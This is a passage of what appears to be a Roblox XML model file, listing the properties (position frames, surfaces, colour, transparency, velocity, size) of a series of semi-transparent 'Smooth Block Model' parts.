				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00184907019</X>
					<Y>0.0079051014</Y>
					<Z>0.0133704087</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1161">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004921</X>
					<Y>6.99972248</Y>
					<Z>7.99983025</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00473795785</X>
					<Y>-0.00244695065</Y>
					<Z>0.00541303819</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1162">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005455</X>
					<Y>5.79971027</Y>
					<Z>6.00009155</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00169874867</X>
					<Y>0.00790507253</Y>
					<Z>0.011087209</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1163">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>193.5</X>
					<Y>4.5999999</Y>
					<Z>76.5</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>8.40000057</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1164">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005798</X>
					<Y>0.999777198</Y>
					<Z>3.99983215</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00178737752</X>
					<Y>-0.0149994576</Y>
					<Z>-0.000114935312</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00094135711</X>
					<Y>-0.00567978434</Y>
					<Z>0.00413946202</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1165">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004921</X>
					<Y>4.59972286</Y>
					<Z>7.99983025</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00385970692</X>
					<Y>-0.00244695065</Y>
					<Z>0.00694675604</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1166">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005875</X>
					<Y>3.39969921</Y>
					<Z>3.99985504</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00178737752</X>
					<Y>-0.0149994576</Y>
					<Z>-0.000114935312</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00121720182</X>
					<Y>-0.00567978434</Y>
					<Z>-0.000150244232</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1167">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005493</X>
					<Y>3.3996954</Y>
					<Z>6.00011444</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00139810564</X>
					<Y>0.00790501479</Y>
					<Z>0.00652080961</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1168">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005493</X>
					<Y>4.59971094</Y>
					<Z>6.000103</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00190266652</X>
					<Y>0.00999355502</Y>
					<Z>0.000125140854</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00154842716</X>
					<Y>0.00790504366</Y>
					<Z>0.0088040093</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1169">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004234</X>
					<Y>4.59967279</Y>
					<Z>9.9995842</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>4.58711947e-005</X>
					<Y>0.0014567984</Y>
					<Z>-0.00145560782</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00102155376</X>
					<Y>-0.0056236824</Y>
					<Z>-0.00291118352</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1170">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>36.0003548</X>
					<Y>5.79966164</Y>
					<Z>12.000123</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0012258339</X>
					<Y>-0.00355757866</Y>
					<Z>6.85940322e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00209970656</X>
					<Y>0.00606262684</Y>
					<Z>-0.00303352275</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1171">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0005875</X>
					<Y>4.59971571</Y>
					<Z>3.99985695</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00178737752</X>
					<Y>-0.0149994576</Y>
					<Z>-0.000114935312</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00135512417</X>
					<Y>-0.00567978434</Y>
					<Z>-0.00229509734</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1172">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004234</X>
					<Y>5.79967308</Y>
					<Z>9.99960327</Z>
					<R00>-1</R00>
					<R01>-0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>4.58711947e-005</X>
					<Y>0.0014567984</Y>
					<Z>-0.00145560782</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0.00276830513</X>
					<Y>-0.00562368333</Y>
					<Z>-0.00285613816</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1173">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">26</int>
				<CoordinateFrame name="CFrame">
					<X>36.0004959</X>
					<Y>8.19975185</Y>
					<Z>7.99983215</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00063904922</X>
					<Y>-0.00294600334</Y>
					<Z>0.000365937856</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>-0.00517708343</X>
					<Y>-0.00244695065</Y>
					<Z>0.00464617927</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1174">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>250.5</X>
					<Y>4.5999999</Y>
					<Z>185.5</Z>
